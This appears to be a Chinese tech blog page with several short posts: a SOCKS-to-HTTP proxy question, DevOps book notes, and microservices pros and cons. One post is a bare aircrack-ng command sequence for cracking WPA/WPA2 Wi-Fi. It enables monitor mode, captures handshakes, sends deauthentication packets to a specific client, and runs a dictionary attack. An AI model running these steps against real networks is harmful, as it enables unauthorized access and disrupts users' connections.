SOCKS 协议转化为 HTTP, HTTPS 协议
SOCKS 代理协议是和 HTTP, HTTP, FTP 代理协议不同的代理协议，尽管你有了 SOCKS 代理服务器，你可以在 chrome 设置 SOCKS 代理服务器就可以上网，但是， 如果你在命令行， 或者其他 app 里面想使用代理， 却不能做到． 有没有一种方法可以让 ＳOCKS 协议转换成 HTTP, HTTPS 协议呢？
分类 默认分类 下的文章
破解 wpa/wpa2
查看網卡:
ifconfig
ifconfig -a
設置網卡爲monitor 模式
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
iwconfig wlan0
// open monitor
airmon-ng start wlan0
//check all networks
airodump-ng wlan0
// dump data
airodump-ng --ivs -w xiaomi -c 10 wlan0
airodump-ng --ivs -w mm -c 6 --bssid 00:10:18:01:D8:82 wlan0
// make network down and reshake hands
aireplay-ng -0 10 -a 40:16:9F:E0:79:00 -c 80:BE:05:0B:C2:B8 wlan1
//crack
aircrack-ng -w /root/Downloads/dict/123.txt mm-02.ivs
kali linux install links
[DevOps for Developers] 读书笔记1
dev & ops 分别对change的态度, 决定了...
devOps 是随着agile实践一步步发展而来, agile 先是在开发team, 后延续到ops team. 它强调的是合作, 沟通.
dev: change code, and want to delivery quickly to production;
ops: no change for production, keep it stable;
devops 概念的萌芽发展历程
- Patrick Debois coined the term DevOps in 2009 while organizing the
DevOpsDays conference in Belgium. - Patrick Debois ran a session called “Agile Operations and
Infrastructure: How Infra-gile Are You?”4 at the Agile 2008
conference in Toronto and published a paper with a similar name. - Marcel Wegermann published a e-mail list called “Agile System
Administration.” - John Allspaw gave a presentation called “10+ Deploys per Day: Dev
and Ops Cooperation”7 at the Velocity 2009 conference in San Jose. - Steven Blank published a book called Four Steps to the Epiphany.
- Eric Ries published The Lean Startup9 and others have written on the
“lean startup” scene. - The 451 Group published the first analyst report on DevOps (titled
“The Rise of DevOps”10) in September 2010.
DevOps can be examined from the following overlapping perspectives:
- Metrics and measurement view: This aspect addresses quality and
testing and stresses shared incentives. - Process view: This aspect covers congruence and flow to gain fast
feedback and set up a holistic process. - Technical view: This aspect discusses fast feedback through
automation, particularly automatic releasing, specification by
example, and infrastructure as code.
Microservices architectures pros and cons 微服务架构的优缺点
这里全是引用或者从这篇文章引发的: Microservices - Not A Free Lunch!
pros:
每个单独的服务都是以某个业务模块为中心, 不用关心其他服务, 开发简单;
sale out, 伸缩性, HA
rollback only involve single app
每个服务都可以根据自己业务特性, 采用不同的内部架构, 工具, 开发语言;
每个服务可以根据load 情况, 增加减少cluster内机器的数量;
系统中的服务都是松耦合的, 便于开发, 维护;
每个服务的开发团队都不至于太大, 团队之间相互独立;
现在很多的开源的工具支持这种开发模式, 便于上手;
cons:
原来你测试部署一个app就好了, 那么现在按照模块, 根据微服务架构拆分成了多个app, 相互提供服务, 那么你逻辑上就要有多个team, 多个app, 原来测试, 部署一个app就好了, 现在要部署测试多个app, 要有更多的开发, 测试, 生产环境;
原来一个app 内部之间直接调用, 现在要通过网络, 要有服务注册, 发现机制; 网络之间的调用, 就有了failover;
多个prodution cluster 在线上, 那么就需要等多的mnoitor, 报警机制, 以及分布式的log 机制;
Substantial DevOps Skills Required
定义接口, 单机应用的接口可以随时改变, 然后修改, 微服务的分布式架构就要求协调多个team, 按计划发布; 并且接口最好在一段时间内不要修改;
Once we have distributed a system, we have to consider a whole host of concerns that we didn't before. Network latency, fault tolerance, message serialisation, unreliable networks, asynchronicity, versioning, varying loads within our application tiers etc.
Asynchronicity Is Difficult!
Testability Challenges